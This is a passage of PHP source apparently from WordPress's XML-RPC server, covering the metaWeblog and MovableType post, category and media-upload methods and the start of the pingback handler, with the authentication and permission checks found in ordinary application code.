		$edit_date = false;

		if ( ! empty( $dateCreated ) ) {
			$post_date     = iso8601_to_datetime( $dateCreated );
			$post_date_gmt = iso8601_to_datetime( $dateCreated, 'gmt' );

			// Flag the post date to be edited.
			$edit_date = true;
		} else {
			$post_date     = $postdata['post_date'];
			$post_date_gmt = $postdata['post_date_gmt'];
		}

		// We've got all the data -- post it.
		$newpost = compact( 'ID', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'comment_status', 'ping_status', 'edit_date', 'post_date', 'post_date_gmt', 'to_ping', 'post_name', 'post_password', 'post_parent', 'menu_order', 'post_author', 'tags_input', 'page_template' );

		$result = wp_update_post( $newpost, true );
		if ( is_wp_error( $result ) ) {
			return new IXR_Error( 500, $result->get_error_message() );
		}

		if ( ! $result ) {
			return new IXR_Error( 500, __( 'Sorry, the post could not be updated.' ) );
		}

		// Only posts can be sticky.
		if ( 'post' === $post_type && isset( $content_struct['sticky'] ) ) {
			$data              = $newpost;
			$data['sticky']    = $content_struct['sticky'];
			$data['post_type'] = 'post';
			$error             = $this->_toggle_sticky( $data, true );
			if ( $error ) {
				return $error;
			}
		}

		if ( isset( $content_struct['custom_fields'] ) ) {
			$this->set_custom_fields( $post_id, $content_struct['custom_fields'] );
		}

		if ( isset( $content_struct['wp_post_thumbnail'] ) ) {

			// Empty value deletes, non-empty value adds/updates.
			if ( empty( $content_struct['wp_post_thumbnail'] ) ) {
				delete_post_thumbnail( $post_id );
			} else {
				if ( set_post_thumbnail( $post_id, $content_struct['wp_post_thumbnail'] ) === false ) {
					return new IXR_Error( 404, __( 'Invalid attachment ID.' ) );
				}
			}
			unset( $content_struct['wp_post_thumbnail'] );
		}

		// Handle enclosures.
		$thisEnclosure = isset( $content_struct['enclosure'] ) ? $content_struct['enclosure'] : null;
		$this->add_enclosure_if_new( $post_id, $thisEnclosure );

		$this->attach_uploads( $ID, $post_content );

		// Handle post formats if assigned, validation is handled earlier in this function.
		if ( isset( $content_struct['wp_post_format'] ) ) {
			set_post_format( $post_id, $content_struct['wp_post_format'] );
		}

		/**
		 * Fires after a post has been successfully updated via the XML-RPC MovableType API.
		 *
		 * @since 3.4.0
		 *
		 * @param int   $post_id ID of the updated post.
		 * @param array $args    An array of arguments to update the post.
		 */
		do_action( 'xmlrpc_call_success_mw_editPost', $post_id, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase

		return true;
	}

	/**
	 * Retrieves a post.
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Post ID.
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 * }
	 * @return array|IXR_Error
	 */
	public function mw_getPost( $args ) {
		$this->escape( $args );

		$post_id  = (int) $args[0];
		$username = $args[1];
		$password = $args[2];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		$postdata = get_post( $post_id, ARRAY_A );
		if ( ! $postdata ) {
			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
		}

		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'metaWeblog.getPost', $args, $this );

		if ( '' !== $postdata['post_date'] ) {
			$post_date         = $this->_convert_date( $postdata['post_date'] );
			$post_date_gmt     = $this->_convert_date_gmt( $postdata['post_date_gmt'], $postdata['post_date'] );
			$post_modified     = $this->_convert_date( $postdata['post_modified'] );
			$post_modified_gmt = $this->_convert_date_gmt( $postdata['post_modified_gmt'], $postdata['post_modified'] );

			$categories = array();
			$catids     = wp_get_post_categories( $post_id );
			foreach ( $catids as $catid ) {
				$categories[] = get_cat_name( $catid );
			}

			$tagnames = array();
			$tags     = wp_get_post_tags( $post_id );
			if ( ! empty( $tags ) ) {
				foreach ( $tags as $tag ) {
					$tagnames[] = $tag->name;
				}
				$tagnames = implode( ', ', $tagnames );
			} else {
				$tagnames = '';
			}

			$post = get_extended( $postdata['post_content'] );
			$link = get_permalink( $postdata['ID'] );

			// Get the author info.
			$author = get_userdata( $postdata['post_author'] );

			$allow_comments = ( 'open' === $postdata['comment_status'] ) ? 1 : 0;
			$allow_pings    = ( 'open' === $postdata['ping_status'] ) ? 1 : 0;

			// Consider future posts as published.
			if ( 'future' === $postdata['post_status'] ) {
				$postdata['post_status'] = 'publish';
			}

			// Get post format.
			$post_format = get_post_format( $post_id );
			if ( empty( $post_format ) ) {
				$post_format = 'standard';
			}

			$sticky = false;
			if ( is_sticky( $post_id ) ) {
				$sticky = true;
			}

			$enclosure = array();
			foreach ( (array) get_post_custom( $post_id ) as $key => $val ) {
				if ( 'enclosure' === $key ) {
					foreach ( (array) $val as $enc ) {
						$encdata             = explode( "\n", $enc );
						$enclosure['url']    = trim( htmlspecialchars( $encdata[0] ) );
						$enclosure['length'] = (int) trim( $encdata[1] );
						$enclosure['type']   = trim( $encdata[2] );
						break 2;
					}
				}
			}

			$resp = array(
				'dateCreated'            => $post_date,
				'userid'                 => $postdata['post_author'],
				'postid'                 => $postdata['ID'],
				'description'            => $post['main'],
				'title'                  => $postdata['post_title'],
				'link'                   => $link,
				'permaLink'              => $link,
				// Commented out because no other tool seems to use this.
				// 'content' => $entry['post_content'],
				'categories'             => $categories,
				'mt_excerpt'             => $postdata['post_excerpt'],
				'mt_text_more'           => $post['extended'],
				'wp_more_text'           => $post['more_text'],
				'mt_allow_comments'      => $allow_comments,
				'mt_allow_pings'         => $allow_pings,
				'mt_keywords'            => $tagnames,
				'wp_slug'                => $postdata['post_name'],
				'wp_password'            => $postdata['post_password'],
				'wp_author_id'           => (string) $author->ID,
				'wp_author_display_name' => $author->display_name,
				'date_created_gmt'       => $post_date_gmt,
				'post_status'            => $postdata['post_status'],
				'custom_fields'          => $this->get_custom_fields( $post_id ),
				'wp_post_format'         => $post_format,
				'sticky'                 => $sticky,
				'date_modified'          => $post_modified,
				'date_modified_gmt'      => $post_modified_gmt,
			);

			if ( ! empty( $enclosure ) ) {
				$resp['enclosure'] = $enclosure;
			}

			$resp['wp_post_thumbnail'] = get_post_thumbnail_id( $postdata['ID'] );

			return $resp;
		} else {
			return new IXR_Error( 404, __( 'Sorry, no such post.' ) );
		}
	}

	/**
	 * Retrieves list of recent posts.
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type int    $3 Optional. Number of posts.
	 * }
	 * @return array|IXR_Error
	 */
	public function mw_getRecentPosts( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		if ( isset( $args[3] ) ) {
			$query = array( 'numberposts' => absint( $args[3] ) );
		} else {
			$query = array();
		}

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! current_user_can( 'edit_posts' ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'metaWeblog.getRecentPosts', $args, $this );

		$posts_list = wp_get_recent_posts( $query );

		if ( ! $posts_list ) {
			return array();
		}

		$recent_posts = array();
		foreach ( $posts_list as $entry ) {
			if ( ! current_user_can( 'edit_post', $entry['ID'] ) ) {
				continue;
			}

			$post_date         = $this->_convert_date( $entry['post_date'] );
			$post_date_gmt     = $this->_convert_date_gmt( $entry['post_date_gmt'], $entry['post_date'] );
			$post_modified     = $this->_convert_date( $entry['post_modified'] );
			$post_modified_gmt = $this->_convert_date_gmt( $entry['post_modified_gmt'], $entry['post_modified'] );

			$categories = array();
			$catids     = wp_get_post_categories( $entry['ID'] );
			foreach ( $catids as $catid ) {
				$categories[] = get_cat_name( $catid );
			}

			$tagnames = array();
			$tags     = wp_get_post_tags( $entry['ID'] );
			if ( ! empty( $tags ) ) {
				foreach ( $tags as $tag ) {
					$tagnames[] = $tag->name;
				}
				$tagnames = implode( ', ', $tagnames );
			} else {
				$tagnames = '';
			}

			$post = get_extended( $entry['post_content'] );
			$link = get_permalink( $entry['ID'] );

			// Get the post author info.
			$author = get_userdata( $entry['post_author'] );

			$allow_comments = ( 'open' === $entry['comment_status'] ) ? 1 : 0;
			$allow_pings    = ( 'open' === $entry['ping_status'] ) ? 1 : 0;

			// Consider future posts as published.
			if ( 'future' === $entry['post_status'] ) {
				$entry['post_status'] = 'publish';
			}

			// Get post format.
			$post_format = get_post_format( $entry['ID'] );
			if ( empty( $post_format ) ) {
				$post_format = 'standard';
			}

			$recent_posts[] = array(
				'dateCreated'            => $post_date,
				'userid'                 => $entry['post_author'],
				'postid'                 => (string) $entry['ID'],
				'description'            => $post['main'],
				'title'                  => $entry['post_title'],
				'link'                   => $link,
				'permaLink'              => $link,
				// Commented out because no other tool seems to use this.
				// 'content' => $entry['post_content'],
				'categories'             => $categories,
				'mt_excerpt'             => $entry['post_excerpt'],
				'mt_text_more'           => $post['extended'],
				'wp_more_text'           => $post['more_text'],
				'mt_allow_comments'      => $allow_comments,
				'mt_allow_pings'         => $allow_pings,
				'mt_keywords'            => $tagnames,
				'wp_slug'                => $entry['post_name'],
				'wp_password'            => $entry['post_password'],
				'wp_author_id'           => (string) $author->ID,
				'wp_author_display_name' => $author->display_name,
				'date_created_gmt'       => $post_date_gmt,
				'post_status'            => $entry['post_status'],
				'custom_fields'          => $this->get_custom_fields( $entry['ID'] ),
				'wp_post_format'         => $post_format,
				'date_modified'          => $post_modified,
				'date_modified_gmt'      => $post_modified_gmt,
				'sticky'                 => ( 'post' === $entry['post_type'] && is_sticky( $entry['ID'] ) ),
				'wp_post_thumbnail'      => get_post_thumbnail_id( $entry['ID'] ),
			);
		}

		return $recent_posts;
	}

	/**
	 * Retrieves the list of categories on a given blog.
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 * }
	 * @return array|IXR_Error
	 */
	public function mw_getCategories( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! current_user_can( 'edit_posts' ) ) {
			return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view categories.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'metaWeblog.getCategories', $args, $this );

		$categories_struct = array();

		$cats = get_categories( array( 'get' => 'all' ) );
		if ( $cats ) {
			foreach ( $cats as $cat ) {
				$struct                        = array();
				$struct['categoryId']          = $cat->term_id;
				$struct['parentId']            = $cat->parent;
				$struct['description']         = $cat->name;
				$struct['categoryDescription'] = $cat->description;
				$struct['categoryName']        = $cat->name;
				$struct['htmlUrl']             = esc_html( get_category_link( $cat->term_id ) );
				$struct['rssUrl']              = esc_html( get_category_feed_link( $cat->term_id, 'rss2' ) );

				$categories_struct[] = $struct;
			}
		}

		return $categories_struct;
	}

	/**
	 * Uploads a file, following your settings.
	 *
	 * Adapted from a patch by Johann Richard.
	 *
	 * @link http://mycvs.org/archives/2004/06/30/file-upload-to-wordpress-in-ecto/
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type array  $3 Data.
	 * }
	 * @return array|IXR_Error
	 */
	public function mw_newMediaObject( $args ) {
		$username = $this->escape( $args[1] );
		$password = $this->escape( $args[2] );
		$data     = $args[3];

		$name = sanitize_file_name( $data['name'] );
		$type = $data['type'];
		$bits = $data['bits'];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'metaWeblog.newMediaObject', $args, $this );

		if ( ! current_user_can( 'upload_files' ) ) {
			$this->error = new IXR_Error( 401, __( 'Sorry, you are not allowed to upload files.' ) );
			return $this->error;
		}

		if ( is_multisite() && upload_is_user_over_quota( false ) ) {
			$this->error = new IXR_Error(
				401,
				sprintf(
					/* translators: %s: Allowed space allocation. */
					__( 'Sorry, you have used your space allocation of %s. Please delete some files to upload more files.' ),
					size_format( get_space_allowed() * MB_IN_BYTES )
				)
			);
			return $this->error;
		}

		/**
		 * Filters whether to preempt the XML-RPC media upload.
		 *
		 * Returning a truthy value will effectively short-circuit the media upload,
		 * returning that value as a 500 error instead.
		 *
		 * @since 2.1.0
		 *
		 * @param bool $error Whether to pre-empt the media upload. Default false.
		 */
		$upload_err = apply_filters( 'pre_upload_error', false );
		if ( $upload_err ) {
			return new IXR_Error( 500, $upload_err );
		}

		$upload = wp_upload_bits( $name, null, $bits );
		if ( ! empty( $upload['error'] ) ) {
			/* translators: 1: File name, 2: Error message. */
			$errorString = sprintf( __( 'Could not write file %1$s (%2$s).' ), $name, $upload['error'] );
			return new IXR_Error( 500, $errorString );
		}
		// Construct the attachment array.
		$post_id = 0;
		if ( ! empty( $data['post_id'] ) ) {
			$post_id = (int) $data['post_id'];

			if ( ! current_user_can( 'edit_post', $post_id ) ) {
				return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
			}
		}
		$attachment = array(
			'post_title'     => $name,
			'post_content'   => '',
			'post_type'      => 'attachment',
			'post_parent'    => $post_id,
			'post_mime_type' => $type,
			'guid'           => $upload['url'],
		);

		// Save the data.
		$id = wp_insert_attachment( $attachment, $upload['file'], $post_id );
		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) );

		/**
		 * Fires after a new attachment has been added via the XML-RPC MovableType API.
		 *
		 * @since 3.4.0
		 *
		 * @param int   $id   ID of the new attachment.
		 * @param array $args An array of arguments to add the attachment.
		 */
		do_action( 'xmlrpc_call_success_mw_newMediaObject', $id, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase

		$struct = $this->_prepare_media_item( get_post( $id ) );

		// Deprecated values.
		$struct['id']   = $struct['attachment_id'];
		$struct['file'] = $struct['title'];
		$struct['url']  = $struct['link'];

		return $struct;
	}

	/*
	 * MovableType API functions.
	 * Specs archive on http://web.archive.org/web/20050220091302/http://www.movabletype.org:80/docs/mtmanual_programmatic.html
	 */

	/**
	 * Retrieves the post titles of recent posts.
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type int    $3 Optional. Number of posts.
	 * }
	 * @return array|IXR_Error
	 */
	public function mt_getRecentPostTitles( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		if ( isset( $args[3] ) ) {
			$query = array( 'numberposts' => absint( $args[3] ) );
		} else {
			$query = array();
		}

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'mt.getRecentPostTitles', $args, $this );

		$posts_list = wp_get_recent_posts( $query );

		if ( ! $posts_list ) {
			$this->error = new IXR_Error( 500, __( 'Either there are no posts, or something went wrong.' ) );
			return $this->error;
		}

		$recent_posts = array();

		foreach ( $posts_list as $entry ) {
			if ( ! current_user_can( 'edit_post', $entry['ID'] ) ) {
				continue;
			}

			$post_date     = $this->_convert_date( $entry['post_date'] );
			$post_date_gmt = $this->_convert_date_gmt( $entry['post_date_gmt'], $entry['post_date'] );

			$recent_posts[] = array(
				'dateCreated'      => $post_date,
				'userid'           => $entry['post_author'],
				'postid'           => (string) $entry['ID'],
				'title'            => $entry['post_title'],
				'post_status'      => $entry['post_status'],
				'date_created_gmt' => $post_date_gmt,
			);
		}

		return $recent_posts;
	}

	/**
	 * Retrieves the list of all categories on a blog.
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 * }
	 * @return array|IXR_Error
	 */
	public function mt_getCategoryList( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! current_user_can( 'edit_posts' ) ) {
			return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view categories.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'mt.getCategoryList', $args, $this );

		$categories_struct = array();

		$cats = get_categories(
			array(
				'hide_empty'   => 0,
				'hierarchical' => 0,
			)
		);
		if ( $cats ) {
			foreach ( $cats as $cat ) {
				$struct                 = array();
				$struct['categoryId']   = $cat->term_id;
				$struct['categoryName'] = $cat->name;

				$categories_struct[] = $struct;
			}
		}

		return $categories_struct;
	}

	/**
	 * Retrieves post categories.
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Post ID.
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 * }
	 * @return array|IXR_Error
	 */
	public function mt_getPostCategories( $args ) {
		$this->escape( $args );

		$post_id  = (int) $args[0];
		$username = $args[1];
		$password = $args[2];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! get_post( $post_id ) ) {
			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
		}

		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'mt.getPostCategories', $args, $this );

		$categories = array();
		$catids     = wp_get_post_categories( (int) $post_id );
		// First listed category will be the primary category.
		$isPrimary = true;
		foreach ( $catids as $catid ) {
			$categories[] = array(
				'categoryName' => get_cat_name( $catid ),
				'categoryId'   => (string) $catid,
				'isPrimary'    => $isPrimary,
			);
			$isPrimary    = false;
		}

		return $categories;
	}

	/**
	 * Sets categories for a post.
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Post ID.
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type array  $3 Categories.
	 * }
	 * @return true|IXR_Error True on success.
	 */
	public function mt_setPostCategories( $args ) {
		$this->escape( $args );

		$post_id    = (int) $args[0];
		$username   = $args[1];
		$password   = $args[2];
		$categories = $args[3];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'mt.setPostCategories', $args, $this );

		if ( ! get_post( $post_id ) ) {
			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
		}

		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
		}

		$catids = array();
		foreach ( $categories as $cat ) {
			$catids[] = $cat['categoryId'];
		}

		wp_set_post_categories( $post_id, $catids );

		return true;
	}

	/**
	 * Retrieves an array of methods supported by this server.
	 *
	 * @since 1.5.0
	 *
	 * @return array
	 */
	public function mt_supportedMethods() {
		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'mt.supportedMethods', array(), $this );

		return array_keys( $this->methods );
	}

	/**
	 * Retrieves an empty array because we don't support per-post text filters.
	 *
	 * @since 1.5.0
	 */
	public function mt_supportedTextFilters() {
		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'mt.supportedTextFilters', array(), $this );

		/**
		 * Filters the MoveableType text filters list for XML-RPC.
		 *
		 * @since 2.2.0
		 *
		 * @param array $filters An array of text filters.
		 */
		return apply_filters( 'xmlrpc_text_filters', array() );
	}

	/**
	 * Retrieves trackbacks sent to a given post.
	 *
	 * @since 1.5.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int $post_id
	 * @return array|IXR_Error
	 */
	public function mt_getTrackbackPings( $post_id ) {
		global $wpdb;

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'mt.getTrackbackPings', $post_id, $this );

		$actual_post = get_post( $post_id, ARRAY_A );

		if ( ! $actual_post ) {
			return new IXR_Error( 404, __( 'Sorry, no such post.' ) );
		}

		$comments = $wpdb->get_results( $wpdb->prepare( "SELECT comment_author_url, comment_content, comment_author_IP, comment_type FROM $wpdb->comments WHERE comment_post_ID = %d", $post_id ) );

		if ( ! $comments ) {
			return array();
		}

		$trackback_pings = array();
		foreach ( $comments as $comment ) {
			if ( 'trackback' === $comment->comment_type ) {
				$content           = $comment->comment_content;
				$title             = substr( $content, 8, ( strpos( $content, '</strong>' ) - 8 ) );
				$trackback_pings[] = array(
					'pingTitle' => $title,
					'pingURL'   => $comment->comment_author_url,
					'pingIP'    => $comment->comment_author_IP,
				);
			}
		}

		return $trackback_pings;
	}

	/**
	 * Sets a post's publish status to 'publish'.
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Post ID.
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 * }
	 * @return int|IXR_Error
	 */
	public function mt_publishPost( $args ) {
		$this->escape( $args );

		$post_id  = (int) $args[0];
		$username = $args[1];
		$password = $args[2];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'mt.publishPost', $args, $this );

		$postdata = get_post( $post_id, ARRAY_A );
		if ( ! $postdata ) {
			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
		}

		if ( ! current_user_can( 'publish_posts' ) || ! current_user_can( 'edit_post', $post_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish this post.' ) );
		}

		$postdata['post_status'] = 'publish';

		// Retain old categories.
		$postdata['post_category'] = wp_get_post_categories( $post_id );
		$this->escape( $postdata );

		return wp_update_post( $postdata );
	}

	/*
	 * Pingback functions.
	 * Specs on www.hixie.ch/specs/pingback/pingback
	 */

	/**
	 * Retrieves a pingback and registers it.
	 *
	 * @since 1.5.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type string $0 URL of page linked from.
	 *     @type string $1 URL of page linked to.
	 * }
	 * @return string|IXR_Error
	 */
	public function pingback_ping( $args ) {
		global $wpdb;

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'pingback.ping', $args, $this );

		$this->escape( $args );

		$pagelinkedfrom = str_replace( '&amp;', '&', $args[0] );
		$pagelinkedto   = str_replace( '&amp;', '&', $args[1] );
		$pagelinkedto   = str_replace( '&', '&amp;', $pagelinkedto );

		/**
		 * Filters the pingback source URI.
		 *
		 * @since 3.6.0
		 *
		 * @param string $pagelinkedfrom URI of the page linked from.
		 * @param string $pagelinkedto   URI of the page linked to.
		 */
		$pagelinkedfrom = apply_filters( 'pingback_ping_source_uri', $pagelinkedfrom, $pagelinkedto );

		if ( ! $pagelinkedfrom ) {
			return $this->pingback_error( 0, __( 'A valid URL was not provided.' ) );
		}

		// Check if the page linked to is on our site.
		$pos1 = strpos( $pagelinkedto, str_replace( array( 'http://www.', 'http://', 'https://www.', 'https://' ), '', get_option( 'home' ) ) );
		if ( ! $pos1 ) {
			return $this->pingback_error( 0, __( 'Is there no link to us?' ) );
		}

		/*
		 * Let's find which post is linked to.
		 * FIXME: Does url_to_postid() cover all these cases already?
		 * If so, then let's use it and drop the old code.
		 */
		$urltest = parse_url( $pagelinkedto );
		$post_id = url_to_postid( $pagelinkedto );
		if ( $post_id ) {
			// $way
		} elseif ( isset( $urltest['path'] ) && preg_match( '#p/[0-9]{1,}#', $urltest['path'], $match ) ) {
			// The path defines the post_ID (archives/p/XXXX).
			$blah    = explode( '/', $match[0] );
			$post_id = (int) $blah[1];
		} elseif ( isset( $urltest['query'] ) && preg_match( '#p=[0-9]{1,}#', $urltest['query'], $match ) ) {
			// The query string defines the post_ID (?p=XXXX).
			$blah    = explode( '=', $match[0] );
			$post_id = (int) $blah[1];
		} elseif ( isset( $urltest['fragment'] ) ) {
			// An #anchor is there, it's either...
			if ( (int) $urltest['fragment'] ) {
				// ...an integer #XXXX (simplest case),
				$post_id = (int) $urltest['fragment'];
			} elseif ( preg_match( '/post-[0-9]+/', $urltest['fragment'] ) ) {
				// ...a post ID in the form 'post-###',
				$post_id = preg_replace( '/[^0-9]+/', '', $urltest['fragment'] );
			} elseif ( is_string( $urltest['fragment'] ) ) {
				// ...or a string #title, a little more complicated.
				$title   = preg_replace( '/[^a-z0-9]/i', '.', $urltest['fragment'] );
				$sql     = $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_title RLIKE %s", $title );
				$post_id = $wpdb->get_var( $sql );
				if ( ! $post_id ) {
					// Returning unknown error '0' is better than die()'ing.
					return $this->pingback_error( 0, '' );
				}
			}
		} else {
			// TODO: Attempt to extract a post ID from the given URL.
			return $this->pingback_error( 33, __( 'The specified target URL cannot be used as a target. It either does not exist, or it is not a pingback-enabled resource.' ) );
		}
		$post_id = (int) $post_id;

		$post = get_post( $post_id );

		if ( ! $post ) { // Post not found.
			return $this->pingback_error( 33, __( 'The specified target URL cannot be used as a target. It either does not exist, or it is not a pingback-enabled resource.' ) );
		}

		if ( url_to_postid( $pagelinkedfrom ) == $post_id ) {
			return $this->pingback_error( 0, __( 'The source URL and the target URL cannot both point to the same resource.' ) );
		}

		// Check if pings are on.
		if ( ! pings_open( $post ) ) {
			return $this->pingback_error( 33, __( 'The specified target URL cannot be used as a target. It either does not exist, or it is not a pingback-enabled resource.' ) );
		}

		// Let's check that the remote site didn't already pingback this entry.
		if ( $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $post_id, $pagelinkedfrom ) ) ) {
			return $this->pingback_error( 48, __( 'The pingback has already been registered.' ) );
		}

		/*
		 * The remote site may have sent the pingback before it finished publishing its own content
		 * containing this pingback URL. If that happens then it won't be immediately possible to fetch
		 * the pinging post; adding a small delay reduces the likelihood of this happening.
		 *
		 * While there are more robust methods than calling `sleep()` here (because `sleep()` merely
		 * mitigates the risk of requesting the remote post before it's available), this is effective
		 * enough for most cases and avoids introducing more complexity into this code.
		 *
		 * One way to improve the reliability of this code might be to add failure-handling to the remote
		 * fetch and retry up to a set number of times if it receives a 404. This could also handle 401 and
		 * 403 responses to differentiate the "does not exist" failure from the "may not access" failure.
		 */
		sleep( 1 );

		$remote_ip = preg_replace( '/[^0-9a-fA-F:., ]/', '', $_SERVER['REMOTE_ADDR'] );

		/** This filter is documented in wp-includes/class-wp-http.php */
		$user_agent = apply_filters( 'http_headers_useragent', 'WordPress/' . get_bloginfo( 'version' ) . '; ' . get_bloginfo( 'url' ), $pagelinkedfrom );

		// Let's check the remote site.
		$http_api_args = array(
			'timeout'             => 10,
			'redirection'         => 0,
			'limit_response_size' => 153600, // 150 KB
			'user-agent'          => "$user_agent; verifying pingback from $remote_ip",
			'headers'             => array(
				'X-Pingback-Forwarded-For' => $remote_ip,
			),
		);

		$request                = wp_safe_remote_get( $pagelinkedfrom, $http_api_args );
		$remote_source          = wp_remote_retrieve_body( $request );
		$remote_source_original = $remote_source;

		if ( ! $remote_source ) {
			return $this->pingback_error( 16, __( 'The source URL does not exist.' ) );
		}

		/**
		 * Filters the pingback remote source.
		 *
		 * @since 2.5.0
		 *
		 * @param string $remote_source Response source for the page linked from.
		 * @param string $pagelinkedto  URL of the page linked to.
		 */
		$remote_source = apply_filters( 'pre_remote_source', $remote_source, $pagelinkedto );

		// Work around bug in strip_tags():
		$remote_source = str_replace( '<!DOC', '<DOC', $remote_source );
		$remote_source = preg_replace( '/[\r\n\t ]+/', ' ', $remote_source ); // normalize spaces
		$remote_source = preg_replace( '/<\/*(h1|h2|h3|h4|h5|h6|p|th|td|li|dt|dd|pre|caption|input|textarea|button|body)[^>]*>/', "\n\n", $remote_source );

		preg_match( '|<title>([^<]*?)</title>|is', $remote_source, $matchtitle );
		$title = isset( $matchtitle[1] ) ? $matchtitle[1] : '';
		if ( empty( $title ) ) {
			return $this->pingback_error( 32, __( 'A title on that page cannot be found.' ) );
		}

		// Remove all script and style tags including their content.
		$remote_source = preg_replace( '@<(script|style)[^>]*?>.*?</\\1>@si', '', $remote_source );
		// Just keep the tag we need.
		$remote_source = strip_tags( $remote_source, '<a>' );

		$p = explode( "\n\n", $remote_source );

		$preg_target = preg_quote( $pagelinkedto, '|' );

		foreach ( $p as $para ) {
			if ( str_contains( $para, $pagelinkedto ) ) { // It exists, but is it a link?
				preg_match( '|<a[^>]+?' . $preg_target . '[^>]*>([^>]+?)</a>|', $para, $context );

				// If the URL isn't in a link context, keep looking.
				if ( empty( $context ) ) {
					continue;
				}

				/*
				 * We're going to use this fake tag to mark the context in a bit.
				 * The marker is needed in case the link text appears more than once in the paragraph.
				 */
				$excerpt = preg_replace( '|\</?wpcontext\>|', '', $para );

				// prevent really long link text
